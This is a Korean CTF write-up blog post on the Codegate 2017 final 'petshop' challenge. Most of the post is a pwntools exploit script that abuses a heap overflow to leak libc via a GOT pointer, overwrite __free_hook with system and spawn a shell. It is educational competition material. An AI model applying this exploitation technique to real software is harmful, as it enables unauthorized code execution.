ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate 2017 final petshop
    Pwnable/CTF 2018. 3. 22. 23:40

    취약점은 힙 오버플로우가있고 난이도는 쉽다.

    string객체를 got로 덮어서 릭을하고 freehook을 시스템으로 덮고 (왜 freehook을 덮었는지 모르겠다 ㄷㄷ) ~basic string 같이 소멸자에서 free가 실행되기 때문에 이것을 이용하여서 문제를 풀었다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    from pwn import *
     
    def set_pet(name,sound,feed):
        p.sendlineafter('select:','4')
        p.sendlineafter('set:','1')
        p.sendlineafter(':',name)
        p.sendlineafter(':',sound)
        p.sendlineafter(':',feed)
     
    p=process('./petshop')
     
    p.sendlineafter(':','1')
    p.sendlineafter(':','1')
    p.sendlineafter('select:','6')
    p.sendlineafter('name?','AAAA')
    set_pet('A','B','C'*12+p64(0x604088)+p64(0x8))
    p.sendlineafter('select:','5')
    p.recvuntil('person:')
    strcpy = u64(p.recv(8))
    libc_base = strcpy - 0x16bca0
    system = libc_base + 0x47dc0
    free_hook = libc_base + 0x3dc8a8
    malloc_hook = libc_base + 0x3dac10
    print hex(strcpy)
    print hex(libc_base)
    print hex(free_hook)
    set_pet('A','B','C'*12+p64(free_hook)+p64(8))
    p.sendlineafter('select:','6')
    p.sendlineafter('name?',p64(system))
    set_pet('A','B','C'*12+p64(malloc_hook)+p64(8))
    p.sendlineafter('select:','6')
    p.sendlineafter('name?','/bin/sh\x00')
     
    p.sendlineafter('select:','2')
     
    p.interactive()
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2018 Final  (0) 2018.04.10
    Codegate 2017 final VM  (0) 2018.03.22
    Codegate 2015 final yocto  (0) 2018.02.21
    Codegate 2018 zoo  (0) 2018.02.11
    Codegate 2018 melong  (2) 2018.02.07
Designed by Tistory.